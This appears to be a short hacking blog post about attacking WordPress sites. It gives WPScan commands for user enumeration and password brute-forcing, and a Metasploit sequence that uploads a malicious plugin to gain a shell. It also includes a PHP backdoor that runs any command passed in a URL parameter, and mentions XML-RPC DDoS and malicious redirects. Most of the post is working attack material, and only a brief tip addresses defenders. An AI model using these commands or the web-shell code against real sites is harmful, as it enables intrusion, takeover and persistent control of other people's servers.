✨ Hacking WordPress: Exploiting the Most Popular CMS on the Internet 🔧
Post By: Hack4BugWordPress powers over 35% of all websites, making it a top target for hackers and penetration testers. From plugin vulnerabilities to brute-force attacks, understanding WordPress security is crucial for both red teamers and defenders. In this guide, we’ll break down how attackers enumerate, exploit, and persist within WordPress environments.
🔍 Key WordPress Attack Vectors
1️⃣ WPScan: The Ultimate WordPress Recon Tool
Enumerate users:
wpscan --url http://target.com -e u
Find vulnerable plugins & themes:
wpscan --url http://target.com -e ap,at
Brute-force login pages:
wpscan --url http://target.com -U admin -P rockyou.txt
2️⃣ Common Exploits & Vulnerabilities
Default admin credentials (yes, admin:admin is still a thing!).
Unpatched plugins leading to Remote Code Execution (RCE), SQL Injection (SQLi), and Cross-Site Scripting (XSS).
XML-RPC abuse for brute-force and DDoS attacks.
3️⃣ Gaining Shell Access
Upload a malicious plugin via Metasploit:
use exploit/unix/webapp/wp_admin_shell_upload
set RHOST target.com
set USERNAME admin
set PASSWORD password123
exploit
Exploit vulnerable themes for code execution.
4️⃣ Persistence & Evasion
Backdoor WordPress with rogue admin users:
add_action('wp_head', 'backdoor');
function backdoor() {
if ($_GET['cmd']) {
system($_GET['cmd']);
}
}
Modify wp-config.php to inject malicious redirects.
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💡 Red Team Pro Tip
WordPress is only as secure as its weakest plugin. Outdated plugins and misconfigurations are often the easiest entry points for attackers. Always audit them first!
🌟 Join the Discussion!
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